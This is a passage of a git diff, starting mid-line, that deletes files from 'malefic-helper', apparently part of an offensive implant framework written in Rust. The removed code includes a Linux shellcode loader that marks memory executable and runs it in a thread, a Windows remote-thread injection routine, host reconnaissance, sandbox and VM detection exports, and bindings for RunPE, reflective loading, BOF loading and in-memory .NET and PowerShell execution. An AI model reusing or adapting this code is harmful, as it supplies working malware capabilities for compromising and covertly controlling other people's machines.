Err("Failed to get MemoryDial function".to_string()); - } - REM_FUNCTIONS.memory_dial = Some(std::mem::transmute(memory_dial_addr)); - - let memory_read_addr = get_function_address(module_base, "MemoryRead"); - if memory_read_addr.is_null() { - return Err("Failed to get MemoryRead function".to_string()); - } - REM_FUNCTIONS.memory_read = Some(std::mem::transmute(memory_read_addr)); - - let memory_write_addr = get_function_address(module_base, "MemoryWrite"); - if memory_write_addr.is_null() { - return Err("Failed to get MemoryWrite function".to_string()); - } - REM_FUNCTIONS.memory_write = Some(std::mem::transmute(memory_write_addr)); - - let memory_close_addr = get_function_address(module_base, "MemoryClose"); - if memory_close_addr.is_null() { - return Err("Failed to get MemoryClose function".to_string()); - } - REM_FUNCTIONS.memory_close = Some(std::mem::transmute(memory_close_addr)); - - let cleanup_agent_addr = get_function_address(module_base, "CleanupAgent"); - if cleanup_agent_addr.is_null() { - return Err("Failed to get CleanupAgent function".to_string()); - } - REM_FUNCTIONS.cleanup_agent = Some(std::mem::transmute(cleanup_agent_addr)); - - Ok(()) - } -} - -impl RemApi for RemReflection { - unsafe fn get_functions(&self) -> Result<&RemFunctions, String> { - Self::ensure_initialized()?; - Ok(&REM_FUNCTIONS) - } -} diff --git a/malefic-helper/src/common/sysinfo.rs b/malefic-helper/src/common/sysinfo.rs deleted file mode 100644 index b8edacc..0000000 --- a/malefic-helper/src/common/sysinfo.rs +++ /dev/null @@ -1,219 +0,0 @@ -use crate::common::{filesys, process}; -#[cfg(target_os = "macos")] -use crate::darwin::whoami; -#[cfg(any(target_os = "linux", target_os = "android"))] -use crate::linux::whoami; -#[cfg(target_os = "windows")] -use crate::win::whoami; - -#[cfg(target_os = "windows")] -use crate::win::domain; -#[cfg(target_os = "windows")] -use crate::win::ipconfig; - -#[cfg(target_os = "macos")] -use crate::darwin::domain; -#[cfg(target_os = "macos")] -use crate::darwin::ipconfig; - -#[cfg(any(target_os = "linux", target_os = "android"))] -use crate::linux::domain; -#[cfg(any(target_os = "linux", target_os = "android"))] -use crate::linux::ipconfig; - -#[cfg(target_os = "windows")] -use crate::win::clr::{clr_version}; - -pub fn name() -> String { - whoami::name().unwrap_or_default() -} - -pub fn release() -> String { - whoami::kernel_version().unwrap_or_default() -} - -pub fn username() -> String { - whoami::username() - .unwrap_or_default() - .to_string_lossy() - .to_string() -} - -pub fn version() -> String { - whoami::os_version().unwrap_or_default() -} - -pub fn hostname() -> String { - whoami::hostname() - .unwrap_or_default() - .to_string_lossy() - .to_string() -} - -pub fn arch() -> String { - whoami::cpu_arch().unwrap_or_default() -} - -pub fn language() -> String { - whoami::lang().unwrap_or_default() -} - -pub fn gid() -> String { - #[cfg(target_family = "unix")] - { - return unsafe { libc::getgid().to_string() }; - } - "".to_string() -} - -pub struct Os { - pub name: String, - pub version: String, - pub release: String, - pub arch: String, - pub username: String, - pub hostname: String, - pub locale: String, - pub clr_version: Vec -} - -pub fn default_os() -> Option { - Some(Os { - name: name(), - version: version(), - release: release(), - arch: arch(), - username: username(), - hostname: hostname(), - locale: language(), - #[cfg(target_os = "windows")] - clr_version: clr_version(), - #[cfg(not(target_os = "windows"))] - clr_version: vec![], - }) -} - -pub fn is_privilege() -> bool { - #[cfg(target_os = "windows")] - { - return crate::win::token::is_privilege().unwrap_or(false); - } - #[cfg(not(target_os = "windows"))] - { - return unsafe { libc::geteuid() == 0 }; - } -} - -pub struct SysInfo { - pub workdir: String, - pub filepath: String, - pub os: Option, - pub process: Option, - pub is_privilege: bool, - // Platform-specific implementation for new fields - pub ip_addresses: Vec, - pub domain_name: String, -} - -pub fn get_sysinfo() -> SysInfo { - let ip_addresses = { - #[cfg(target_os = "windows")] - { - ipconfig::get_ipv4_addresses() - } - #[cfg(target_os = "macos")] - { - ipconfig::get_ipv4_addresses() - } - #[cfg(any(target_os = "linux", target_os = "android"))] - { - ipconfig::get_ipv4_addresses() - } - #[cfg(not(any(target_os = "windows", target_os = "macos", target_os = "linux", target_os = "android")))] - { - Vec::new() // Return empty vector for unsupported platforms - } - }; - - SysInfo { - workdir: filesys::get_cwd().unwrap_or_else(|e| e.to_string()), - filepath: filesys::get_executable_path().unwrap_or_else(|e| e.to_string()), - os: default_os(), - process: process::get_current_process(), - is_privilege: is_privilege(), - ip_addresses, - domain_name: domain::get_domain(), - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_username() { - let username = username(); - assert!(!username.is_empty(), "Username should not be empty"); - } - - #[test] - fn test_hostname() { - let hostname = hostname(); - assert!(!hostname.is_empty(), "Hostname should not be empty"); - } - - #[test] - fn test_language() { - let lang = language(); - assert!(!lang.is_empty(), "Language should not be empty"); - } - - #[test] - fn test_sysinfo() { - let info = get_sysinfo(); - assert!( - !info.workdir.is_empty(), - "Working directory should not be empty" - ); - assert!(!info.filepath.is_empty(), "File path should not be empty"); - assert!(!info.os.is_none(), "OS info should not be None"); - assert!(!info.process.is_none(), "Process info should not be None"); - - if let Some(os) = info.os { - assert!(!os.username.is_empty(), "OS username should not be empty"); - assert!(!os.hostname.is_empty(), "OS hostname should not be empty"); - assert!(!os.locale.is_empty(), "OS locale should not be empty"); - } - - if let Some(process) = info.process { - assert!(!process.name.is_empty(), "Process name should not be empty"); - assert!(!process.path.is_empty(), "Process path should not be empty"); - assert!(!process.args.is_empty(), "Process args should not be empty"); - assert!(!process.pid.le(&0), "Process PID should be greater than 0"); - assert!(!process.ppid.le(&0), "Process PPID should be greater than 0"); - } - } - - #[test] - fn test_sysinfo_print() { - let info = get_sysinfo(); - println!("info file path: {}", info.filepath); - println!("info work dir: {}", info.workdir); - println!("info os name: {}", info.os.as_ref().unwrap().name); - println!("info os version: {}", info.os.as_ref().unwrap().version); - println!("info os release: {}", info.os.as_ref().unwrap().release); - println!("info os arch: {}", info.os.as_ref().unwrap().arch); - println!("info os username: {}", info.os.as_ref().unwrap().username); - println!("info os hostname: {}", info.os.as_ref().unwrap().hostname); - println!("info os locale: {}", info.os.as_ref().unwrap().locale); - println!("info process name: {}", info.process.as_ref().unwrap().name); - println!("info process pid: {}", info.process.as_ref().unwrap().pid); - println!("info process ppid: {}", info.process.as_ref().unwrap().ppid); - println!("info process arch: {}", info.process.as_ref().unwrap().arch); - println!("info process owner: {}", info.process.as_ref().unwrap().owner); - println!("info process path: {}", info.process.as_ref().unwrap().path); - println!("info process args: {}", info.process.as_ref().unwrap().args); - println!("info is privilege: {}", info.is_privilege); - println!("info domain : {}",info.domain_name) - } -} diff --git a/malefic-helper/src/lib.rs b/malefic-helper/src/lib.rs deleted file mode 100644 index 7396c20..0000000 --- a/malefic-helper/src/lib.rs +++ /dev/null @@ -1,79 +0,0 @@ -#![feature(offset_of)] -#![feature(stmt_expr_attributes)] -pub mod common; - -#[cfg(target_os = "windows")] -pub mod win; - -#[cfg(target_os = "macos")] -pub mod darwin; - -#[cfg(any(target_os = "linux", target_os = "android"))] -pub mod linux; - -#[cfg(test)] -#[macro_use] -extern crate std; - -pub use thiserror::Error; - -#[macro_export] -macro_rules! to_error { - ($expr:expr) => { - $expr.map_err(|e| anyhow::Error::msg(format!("{:#?}", e))) - }; -} - -#[macro_export] -macro_rules! debug { - ($($arg:tt)*) => { - #[cfg(debug_assertions)] - { - println!($($arg)*); - } - }; -} - -#[derive(Error, Debug)] -pub enum CommonError { - #[error(transparent)] - AnyError(#[from] anyhow::Error), - - #[error("{0}")] - Win32Error(u32), - - #[error("")] - AllocationFailed, - - #[error(transparent)] - IOError(#[from] std::io::Error), - - #[error("")] - FreeFailed, - - #[error("")] - NotImpl, - - #[error("{0}")] - ArgsError(String), -} - - - -pub struct Defer { - #[allow(dead_code)] - message: String, -} -impl Defer { - pub fn new(message: &str) -> Self { - Defer { - message: message.to_string(), - } - } -} - -impl Drop for Defer { - fn drop(&mut self) { - debug!("{}", self.message); - } -} diff --git a/malefic-helper/src/linux/dynamic/mod.rs b/malefic-helper/src/linux/dynamic/mod.rs deleted file mode 100644 index 5903aa1..0000000 --- a/malefic-helper/src/linux/dynamic/mod.rs +++ /dev/null @@ -1 +0,0 @@ -pub mod MaleficLoadLibrary; diff --git a/malefic-helper/src/linux/loader/pthread.rs b/malefic-helper/src/linux/loader/pthread.rs deleted file mode 100644 index 4b2e79e..0000000 --- a/malefic-helper/src/linux/loader/pthread.rs +++ /dev/null @@ -1,39 +0,0 @@ -use crate::common::memory::MaliceMalloc; -use libc::{pthread_create, pthread_join}; -use std::sync::{Arc, Mutex}; -use std::time::Duration; -use std::os::raw::c_void; - -#[cfg(target_os = "linux")] -pub fn loader(shellcode : Vec) { - let mut size = shellcode.len(); - if size < 0 { - return; - } - - let mut m_memory = MaliceMalloc::new(size); - if m_memory.is_err() { - return; - } - let m_memory = m_memory.unwrap(); - - unsafe { - libc::memcpy(m_memory.get_ptr() , shellcode.as_ptr() as *const libc::c_void, m_memory.get_size()); - } - // sleep 10ç§’ - // sleep(Duration::from_secs(10)); - - m_memory.set_protect((libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as _); - println!("will pthread create!"); - - unsafe { - let mut pthread_handle : libc::pthread_t = std::mem::zeroed(); - pthread_create(&mut pthread_handle, - std::ptr::null(), - std::mem::transmute(m_memory.get_ptr()), - std::ptr::null_mut()); - } - - std::thread::sleep(Duration::from_secs(2)); - -} \ No newline at end of file diff --git a/malefic-helper/src/win/anti/mod.rs b/malefic-helper/src/win/anti/mod.rs deleted file mode 100644 index 733ee0a..0000000 --- a/malefic-helper/src/win/anti/mod.rs +++ /dev/null @@ -1,10 +0,0 @@ -pub mod sandbox; -pub mod vm; - -pub use sandbox::*; -pub use vm::{ - VmFramework, VmDetectionResult, - detect_vm_framework, is_vm_environment, get_vm_framework_name, - // Legacy compatibility functions - is_running_in_vm, get_detected_vm_type -}; \ No newline at end of file diff --git a/malefic-helper/src/win/clr/mod.rs b/malefic-helper/src/win/clr/mod.rs deleted file mode 100644 index a9bef84..0000000 --- a/malefic-helper/src/win/clr/mod.rs +++ /dev/null @@ -1,34 +0,0 @@ -#[cfg(feature = "clr")] -pub fn clr_version() -> Vec { - - #[cfg(feature = "source")] - unsafe { - return malefic_win_kit::clr::CSharpUtils::DisplayInstalledDotNetVersion(); - } - #[cfg(feature = "prebuild")] { - use crate::win::kit::bindings::CLRVersion; - unsafe { - let raw = CLRVersion(); - if raw.data.is_null() { - return Vec::new(); - } - - let bytes = Vec::from_raw_parts(raw.data, raw.len, raw.capacity); - let text = match String::from_utf8(bytes) { - Ok(s) => s, - Err(_) => return Vec::new(), - }; - - return text - .split('\n') - .filter(|s| !s.is_empty()) - .map(|s| s.to_owned()) - .collect(); - } - } - // return vec![]; -} -#[cfg(not(feature = "clr"))] -pub fn clr_version() -> Vec { - vec![] -} \ No newline at end of file diff --git a/malefic-helper/src/win/common/mod.rs b/malefic-helper/src/win/common/mod.rs deleted file mode 100644 index 3f4fa5d..0000000 --- a/malefic-helper/src/win/common/mod.rs +++ /dev/null @@ -1,36 +0,0 @@ -use std::ffi::OsStr; -use std::os::windows::ffi::OsStrExt; -use windows::core::{BSTR, HRESULT, PCWSTR}; - -pub fn to_wide_string(s: &str) -> Vec { - OsStr::new(s).encode_wide().chain(Some(0)).collect() -} - -// 辅助函数:将宽字符指针转æ¢ä¸º String -pub fn wide_to_string(ptr: PCWSTR) -> String { - unsafe { - let len = (0..).take_while(|&i| *ptr.0.offset(i) != 0).count(); - let slice = std::slice::from_raw_parts(ptr.0, len); - String::from_utf16_lossy(slice) - } -} - -pub fn bstr_to_string(bstr: &BSTR) -> String { - if bstr.is_empty() { - return String::new(); - } - - bstr.to_string() -} - -pub fn get_buffer(res: windows::core::Result<()>) -> windows::core::Result<()> { - if let Err(e) = res { - if e.code() != HRESULT::from_win32(0x7A) { - Err(e) - } else { - Ok(()) - } - } else { - Ok(()) - } -} diff --git a/malefic-helper/src/win/inject/create_thread/mod.rs b/malefic-helper/src/win/inject/create_thread/mod.rs deleted file mode 100644 index 8d03ceb..0000000 --- a/malefic-helper/src/win/inject/create_thread/mod.rs +++ /dev/null @@ -1,28 +0,0 @@ -use obfstr::obfstr; - -#[cfg(feature = "prebuild")] -pub unsafe fn loader(bin: Vec, pid: u32) -> Result -{ - use crate::win::kit::bindings::InjectRemoteThread; - if bin.is_empty() { - return Err(obfstr!("empty shellcode").to_string()); - } - let ret = InjectRemoteThread(bin.as_ptr(), bin.len(), pid); - let str = String::from_raw_parts(ret.data, ret.len, ret.capacity); - return Ok(str); -} - -#[cfg(feature = "source")] -pub unsafe fn loader(bin: Vec, pid: u32) -> Result -{ - use malefic_win_kit::dynamic::RunShellcode::inject_create_remote; - if bin.is_empty() { - return Err(obfstr!("empty shellcode").to_string()); - } - let ret = inject_create_remote(bin, pid); - if ret.is_ok() { - return Ok(obfstr!("success!").to_string()); - } else { - return Err(ret.err().unwrap()); - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/inject/mod.rs b/malefic-helper/src/win/inject/mod.rs deleted file mode 100644 index 0cb19f3..0000000 --- a/malefic-helper/src/win/inject/mod.rs +++ /dev/null @@ -1,9 +0,0 @@ -pub mod create_thread; - -//p ub use remote_inject as create_thread::loader; - -pub fn remote_inject(bin: &[u8], pid: u32) -> Result { - unsafe { - create_thread::loader(bin.to_vec(), pid) - } -} diff --git a/malefic-helper/src/win/kit/apis/mod.rs b/malefic-helper/src/win/kit/apis/mod.rs deleted file mode 100644 index 243e0ea..0000000 --- a/malefic-helper/src/win/kit/apis/mod.rs +++ /dev/null @@ -1,170 +0,0 @@ -pub fn m_load_library_a( - lib_filename: *const u8 -) -> *const core::ffi::c_void { - #[cfg(feature = "prebuild")] - { - use crate::win::kit::bindings::MLoadLibraryA; - unsafe { - MLoadLibraryA(lib_filename as _) - } - } - #[cfg(feature = "source")] - { - unsafe { - use malefic_win_kit::apis::Core::Foundation::MLoadLibraryA; - MLoadLibraryA(lib_filename as _) - } - } -} - -pub fn m_get_proc_address( - module: *const core::ffi::c_void, - proc_name: *const u8 -) -> *const core::ffi::c_void { - #[cfg(feature = "prebuild")] - { - use crate::win::kit::bindings::MGetProcAddress; - unsafe { - MGetProcAddress(module as _, proc_name as _) - } - } - #[cfg(feature = "source")] - { - unsafe { - use malefic_win_kit::apis::Core::Foundation::MGetProcAddress; - MGetProcAddress(module as _, proc_name as _) - } - } -} - -pub fn m_create_thread( - thread_attributes: *mut core::ffi::c_void, - stack_size: u32, - start_address: *mut core::ffi::c_void, - parameter: *mut core::ffi::c_void, - creation_flags: u32, - thread_id: *mut u32, -) -> *mut core::ffi::c_void { - #[cfg(feature = "prebuild")] - { - use crate::win::kit::bindings::MCreateThread; - unsafe { - MCreateThread( - thread_attributes, - stack_size, - start_address, - parameter, - creation_flags, - thread_id, - ) - } - } - #[cfg(feature = "source")] - { - unsafe { - use malefic_win_kit::apis::Core::Process::MCreateThread; - MCreateThread( - thread_attributes, - stack_size, - start_address, - parameter, - creation_flags, - thread_id, - ) - } - } -} - -pub fn m_nt_create_thread_ex( - thread_handle: *mut core::ffi::c_void, - desired_access: u32, - object_attributes: *mut core::ffi::c_void, - process_handle: *mut core::ffi::c_void, - start_address: *mut core::ffi::c_void, - start_parameter: *mut core::ffi::c_void, - create_suspended: i32, - stack_zero_bits: u32, - size_of_stack_commit: u32, - size_of_stack_reserve: u32, - attribute_list: *mut core::ffi::c_void, -) -> i32 { - #[cfg(feature = "prebuild")] - { - use crate::win::kit::bindings::MNtCreateThreadEx; - unsafe { - MNtCreateThreadEx( - thread_handle, - desired_access, - object_attributes, - process_handle, - start_address, - start_parameter, - create_suspended, - stack_zero_bits, - size_of_stack_commit, - size_of_stack_reserve, - attribute_list, - ) - } - } - #[cfg(feature = "source")] - { - unsafe { - use malefic_win_kit::apis::Core::Process::MNtCreateThreadEx; - MNtCreateThreadEx( - thread_handle, - desired_access, - object_attributes, - process_handle, - start_address, - start_parameter, - create_suspended, - stack_zero_bits, - size_of_stack_commit, - size_of_stack_reserve, - attribute_list, - ) - } - } -} - -pub fn m_get_current_process() -> *mut core::ffi::c_void { - #[cfg(feature = "prebuild")] - { - use crate::win::kit::bindings::MGetCurrentProcess; - unsafe { - MGetCurrentProcess() - } - } - #[cfg(feature = "source")] - { - unsafe { - use malefic_win_kit::apis::Core::Process::MGetCurrentProcess; - MGetCurrentProcess() - } - } -} - -pub fn m_get_func_addr_with_module_base( - module_base: *const core::ffi::c_void, - func_name: &[u8] -) -> *const core::ffi::c_void { - #[cfg(feature = "prebuild")] - { - use crate::win::kit::bindings::MaleficGetFuncAddrWithModuleBaseDefault; - unsafe { - MaleficGetFuncAddrWithModuleBaseDefault( - module_base, - func_name.as_ptr(), - func_name.len() - ) - } - } - #[cfg(feature = "source")] - { - unsafe { - use malefic_win_kit::dynamic::DynamicLibraryUtils::GetFuncAddrWithModuleBaseDefault; - GetFuncAddrWithModuleBaseDefault(module_base, func_name) - } - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/bindings.rs b/malefic-helper/src/win/kit/bindings.rs deleted file mode 100644 index 96b0448..0000000 --- a/malefic-helper/src/win/kit/bindings.rs +++ /dev/null @@ -1,339 +0,0 @@ -/* automatically generated by rust-bindgen 0.72.1 */ - -pub const __bool_true_false_are_defined: u32 = 1; -pub const true_: u32 = 1; -pub const false_: u32 = 0; -pub const _VCRT_COMPILER_PREPROCESSOR: u32 = 1; -pub const _SAL_VERSION: u32 = 20; -pub const __SAL_H_VERSION: u32 = 180000000; -pub const _USE_DECLSPECS_FOR_SAL: u32 = 0; -pub const _USE_ATTRIBUTES_FOR_SAL: u32 = 0; -pub const _CRT_PACKING: u32 = 8; -pub const _HAS_EXCEPTIONS: u32 = 1; -pub const _STL_LANG: u32 = 0; -pub const _HAS_CXX17: u32 = 0; -pub const _HAS_CXX20: u32 = 0; -pub const _HAS_CXX23: u32 = 0; -pub const _HAS_CXX26: u32 = 0; -pub const _HAS_NODISCARD: u32 = 0; -pub const WCHAR_MIN: u32 = 0; -pub const WCHAR_MAX: u32 = 65535; -pub const WINT_MIN: u32 = 0; -pub const WINT_MAX: u32 = 65535; -pub type va_list = *mut ::std::os::raw::c_char; -extern "C" { - pub fn __va_start(arg1: *mut *mut ::std::os::raw::c_char, ...); -} -pub type __vcrt_bool = bool; -pub type wchar_t = ::std::os::raw::c_ushort; -extern "C" { - pub fn __security_init_cookie(); -} -extern "C" { - pub fn __security_check_cookie(_StackCookie: usize); -} -extern "C" { - pub fn __report_gsfailure(_StackCookie: usize) -> !; -} -extern "C" { - pub static mut __security_cookie: usize; -} -pub type int_least8_t = ::std::os::raw::c_schar; -pub type int_least16_t = ::std::os::raw::c_short; -pub type int_least32_t = ::std::os::raw::c_int; -pub type int_least64_t = ::std::os::raw::c_longlong; -pub type uint_least8_t = ::std::os::raw::c_uchar; -pub type uint_least16_t = ::std::os::raw::c_ushort; -pub type uint_least32_t = ::std::os::raw::c_uint; -pub type uint_least64_t = ::std::os::raw::c_ulonglong; -pub type int_fast8_t = ::std::os::raw::c_schar; -pub type int_fast16_t = ::std::os::raw::c_int; -pub type int_fast32_t = ::std::os::raw::c_int; -pub type int_fast64_t = ::std::os::raw::c_longlong; -pub type uint_fast8_t = ::std::os::raw::c_uchar; -pub type uint_fast16_t = ::std::os::raw::c_uint; -pub type uint_fast32_t = ::std::os::raw::c_uint; -pub type uint_fast64_t = ::std::os::raw::c_ulonglong; -pub type intmax_t = ::std::os::raw::c_longlong; -pub type uintmax_t = ::std::os::raw::c_ulonglong; -#[repr(C)] -#[derive(Debug, Copy, Clone)] -pub struct RawString { - pub data: *mut u8, - pub len: usize, - pub capacity: usize, -} -#[test] -fn bindgen_test_layout_RawString() { - const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); - let ptr = UNINIT.as_ptr(); - assert_eq!( - ::std::mem::size_of::(), - 24usize, - "Size of RawString" - ); - assert_eq!( - ::std::mem::align_of::(), - 8usize, - "Alignment of RawString" - ); - assert_eq!( - unsafe { ::std::ptr::addr_of!((*ptr).data) as usize - ptr as usize }, - 0usize, - "Offset of field: RawString::data" - ); - assert_eq!( - unsafe { ::std::ptr::addr_of!((*ptr).len) as usize - ptr as usize }, - 8usize, - "Offset of field: RawString::len" - ); - assert_eq!( - unsafe { ::std::ptr::addr_of!((*ptr).capacity) as usize - ptr as usize }, - 16usize, - "Offset of field: RawString::capacity" - ); -} -#[repr(C)] -#[derive(Debug, Copy, Clone)] -pub struct MaleficPipe { - pub read: *const ::std::os::raw::c_void, - pub write: *const ::std::os::raw::c_void, -} -#[test] -fn bindgen_test_layout_MaleficPipe() { - const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); - let ptr = UNINIT.as_ptr(); - assert_eq!( - ::std::mem::size_of::(), - 16usize, - "Size of MaleficPipe" - ); - assert_eq!( - ::std::mem::align_of::(), - 8usize, - "Alignment of MaleficPipe" - ); - assert_eq!( - unsafe { ::std::ptr::addr_of!((*ptr).read) as usize - ptr as usize }, - 0usize, - "Offset of field: MaleficPipe::read" - ); - assert_eq!( - unsafe { ::std::ptr::addr_of!((*ptr).write) as usize - ptr as usize }, - 8usize, - "Offset of field: MaleficPipe::write" - ); -} -#[repr(C)] -#[derive(Debug, Copy, Clone)] -pub struct DarkModule { - pub module_base: *const ::std::os::raw::c_void, -} -#[test] -fn bindgen_test_layout_DarkModule() { - const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); - let ptr = UNINIT.as_ptr(); - assert_eq!( - ::std::mem::size_of::(), - 8usize, - "Size of DarkModule" - ); - assert_eq!( - ::std::mem::align_of::(), - 8usize, - "Alignment of DarkModule" - ); - assert_eq!( - unsafe { ::std::ptr::addr_of!((*ptr).module_base) as usize - ptr as usize }, - 0usize, - "Offset of field: DarkModule::module_base" - ); -} -extern "C" { - pub fn ApcLoaderInline(bin: *const u8, bin_len: usize, need_output: bool) -> RawString; -} -extern "C" { - pub fn ApcLoaderSacriface( - bin: *const u8, - bin_len: usize, - sacrifice_commandline: *mut ::std::os::raw::c_char, - ppid: u32, - block_dll: bool, - need_output: bool, - ) -> RawString; -} -extern "C" { - pub fn InjectRemoteThread(bin: *const u8, bin_len: usize, pid: u32) -> RawString; -} -extern "C" { - pub fn MaleficLoadLibrary( - flags: u32, - buffer: *const u16, - file_buffer: *const ::std::os::raw::c_void, - len: usize, - name: *const u8, - ) -> *const ::std::os::raw::c_void; -} -extern "C" { - pub fn MaleficGetFuncAddrWithModuleBaseDefault( - module_base: *const ::std::os::raw::c_void, - func_name: *const u8, - func_name_len: usize, - ) -> *const ::std::os::raw::c_void; -} -extern "C" { - pub fn ReflectiveLoader( - start_commandline: *const u8, - start_commandline_len: usize, - reflective_loader_name: *const u8, - reflective_loader_name_len: usize, - data: *const u8, - data_len: usize, - param: *const u8, - param_len: usize, - ppid: u32, - block_dll: bool, - timeout: u32, - is_need_output: bool, - ) -> RawString; -} -extern "C" { - pub fn InlinePE( - bin: *const u8, - bin_size: usize, - magic: *const u16, - signature: *const u32, - commandline: *const u8, - commandline_len: usize, - entrypoint: *const u8, - entrypoint_len: usize, - is_dll: bool, - is_need_output: bool, - timeout: u32, - delay: u32, - ) -> RawString; -} -extern "C" { - pub fn RunPE( - start_commandline: *const u8, - start_commandline_len: usize, - hijack_commandline: *const u8, - hijack_commandline_len: usize, - data: *const u8, - data_size: usize, - entrypoint: *const u8, - entrypoint_len: usize, - args: *const u8, - args_len: usize, - is_x86: bool, - pid: u32, - block_dll: bool, - need_output: bool, - ) -> RawString; -} -extern "C" { - pub fn RunSacrifice( - application_name: *mut u8, - start_commandline: *const u8, - start_commandline_len: usize, - hijack_commandline: *const u8, - hijack_commandline_len: usize, - parent_id: u32, - need_output: bool, - block_dll: bool, - ) -> RawString; -} -extern "C" { - pub fn MaleficExecAssembleInMemory( - data: *const u8, - data_len: usize, - args: *const *const u8, - args_len: usize, - ) -> RawString; -} -extern "C" { - pub fn MaleficBofLoader( - buffer: *const u8, - buffer_len: usize, - arguments: *const *const u8, - arguments_size: usize, - entrypoint_name: *const u8, - ) -> RawString; -} -extern "C" { - pub fn HijackCommandLine(commandline: *const u8, commandline_len: usize) -> u8; -} -extern "C" { - pub fn MaleficPwshExecCommand(command: *const u8, command_len: usize) -> RawString; -} -extern "C" { - pub fn PELoader( - handle: *const ::std::os::raw::c_void, - base_addr: *const ::std::os::raw::c_void, - size: usize, - need_modify_magic: bool, - need_modify_sign: bool, - magic: u16, - signature: u32, - ) -> *const ::std::os::raw::c_void; -} -extern "C" { - pub fn UnloadPE(module: *const ::std::os::raw::c_void); -} -extern "C" { - pub fn MLoadLibraryA(lpLibFileName: *const u8) -> *mut ::std::os::raw::c_void; -} -extern "C" { - pub fn MGetProcAddress( - module: *const ::std::os::raw::c_void, - proc_name: *const u8, - ) -> *const ::std::os::raw::c_void; -} -extern "C" { - pub fn MCreateThread( - thread_attributes: *mut ::std::os::raw::c_void, - stack_size: u32, - start_address: *mut ::std::os::raw::c_void, - parameter: *mut ::std::os::raw::c_void, - creation_flags: u32, - thread_id: *mut u32, - ) -> *mut ::std::os::raw::c_void; -} -extern "C" { - pub fn MNtCreateThreadEx( - thread_handle: *mut ::std::os::raw::c_void, - desired_access: u32, - object_attributes: *mut ::std::os::raw::c_void, - process_handle: *mut ::std::os::raw::c_void, - start_address: *mut ::std::os::raw::c_void, - start_parameter: *mut ::std::os::raw::c_void, - create_suspended: i32, - stack_zero_bits: u32, - size_of_stack_commit: u32, - size_of_stack_reserve: u32, - attribute_list: *mut ::std::os::raw::c_void, - ) -> i32; -} -extern "C" { - pub fn MGetCurrentProcess() -> *mut ::std::os::raw::c_void; -} -extern "C" { - pub fn MaleficMakePipe( - read: *mut *mut ::std::os::raw::c_void, - write: *mut *mut ::std::os::raw::c_void, - ) -> bool; -} -extern "C" { - pub fn MaleficPipeRedirectStdOut( - write: *mut ::std::os::raw::c_void, - ) -> *const ::std::os::raw::c_void; -} -extern "C" { - pub fn MaleficPipeRepairedStdOut(stdout_handle: *const ::std::os::raw::c_void); -} -extern "C" { - pub fn MaleficPipeRead(read_pipe: *mut ::std::os::raw::c_void) -> *const u8; -} -extern "C" { - pub fn SafeFreePipeData(data: *const u8); -} diff --git a/malefic-helper/src/win/kit/bof/mod.rs b/malefic-helper/src/win/kit/bof/mod.rs deleted file mode 100644 index 0c7c878..0000000 --- a/malefic-helper/src/win/kit/bof/mod.rs +++ /dev/null @@ -1,31 +0,0 @@ -pub unsafe fn bof_loader(buffer: &Vec, arguments: &Vec, entrypoint_name: Option) -> String { - #[cfg(feature = "prebuild")] - { - use super::bindings::MaleficBofLoader; - let c_strings: Vec<_> = arguments.iter() - .map(|s| { - let c_str = std::ffi::CString::new(s.as_str()).unwrap(); - c_str.into_raw() - }) - .collect(); - let entrypoint_name = match entrypoint_name { - Some(entrypoint_name) => { - let c_str = std::ffi::CString::new(entrypoint_name.as_str()).unwrap(); - c_str.into_raw() - }, - None => std::ptr::null_mut() - }; - let ret = MaleficBofLoader( - buffer.as_ptr(), - buffer.len(), - c_strings.as_ptr() as _, c_strings.len(), - entrypoint_name as _ - ); - String::from_raw_parts(ret.data, ret.len, ret.capacity) - } - #[cfg(feature = "source")] - { - use malefic_win_kit::bof::loader::bof_loader_with_result; - bof_loader_with_result(buffer, arguments.clone(), entrypoint_name) - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/clr/mod.rs b/malefic-helper/src/win/kit/clr/mod.rs deleted file mode 100644 index 7edfb72..0000000 --- a/malefic-helper/src/win/kit/clr/mod.rs +++ /dev/null @@ -1,29 +0,0 @@ -pub unsafe fn exec_assemble_in_memory(data: &[u8], args: Vec) -> String { - #[cfg(feature = "prebuild")] - { - use super::bindings::MaleficExecAssembleInMemory; - let c_strings: Vec<_> = args.iter() - .map(|s| { - let c_str = std::ffi::CString::new(s.as_str()).unwrap(); - c_str.into_raw() - }) - .collect(); - let ret = MaleficExecAssembleInMemory( - data.as_ptr(), data.len(), - c_strings.as_ptr() as _, c_strings.len() - ); - String::from_raw_parts(ret.data, ret.len, ret.capacity) - } - #[cfg(feature = "source")] - { - use malefic_win_kit::clr::CSharpUtils::ExecAssembleInMemory; - match ExecAssembleInMemory(data, &args) { - Ok(ret) => { - ret - }, - Err(e) => { - e - } - } - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/func/mod.rs b/malefic-helper/src/win/kit/func/mod.rs deleted file mode 100644 index a402eb5..0000000 --- a/malefic-helper/src/win/kit/func/mod.rs +++ /dev/null @@ -1,12 +0,0 @@ -pub unsafe fn get_func_addr(module: *const core::ffi::c_void, func_name: String) -> *const core::ffi::c_void { - #[cfg(feature = "prebuild")] - { - use super::bindings::MaleficGetFuncAddrWithModuleBaseDefault; - MaleficGetFuncAddrWithModuleBaseDefault(module, func_name.as_ptr() as _, func_name.len()) - } - #[cfg(feature = "source")] - { - use malefic_win_kit::dynamic::DynamicLibraryUtils::GetFuncAddrWithModuleBaseDefault; - GetFuncAddrWithModuleBaseDefault(module, &func_name.as_bytes()) - } -} \ No newline at end of file diff --git a/malefic-helper/src/win/kit/mod.rs b/malefic-helper/src/win/kit/mod.rs deleted file mode 100644 index 7e90a2b..0000000 --- a/malefic-helper/src/win/kit/mod.rs +++ /dev/null @@ -1,388 +0,0 @@ -#![allow(dead_code)] -pub mod pe; -pub mod clr; -pub mod pwsh; -pub mod bof; -pub mod bypass; -pub mod func; -pub mod apis; - -pub mod bindings; - -// #[cfg(target_os = "windows")] -// #[cfg(feature = "prebuild")] -// #[link(name = "malefic_win_kit", kind = "static")] -// extern "C" { -// pub fn ApcLoaderInline( -// bin: *const u8, -// bin_len: usize, -// need_output: bool -// ) -> RawString; -// pub fn ApcLoaderSacriface( -// 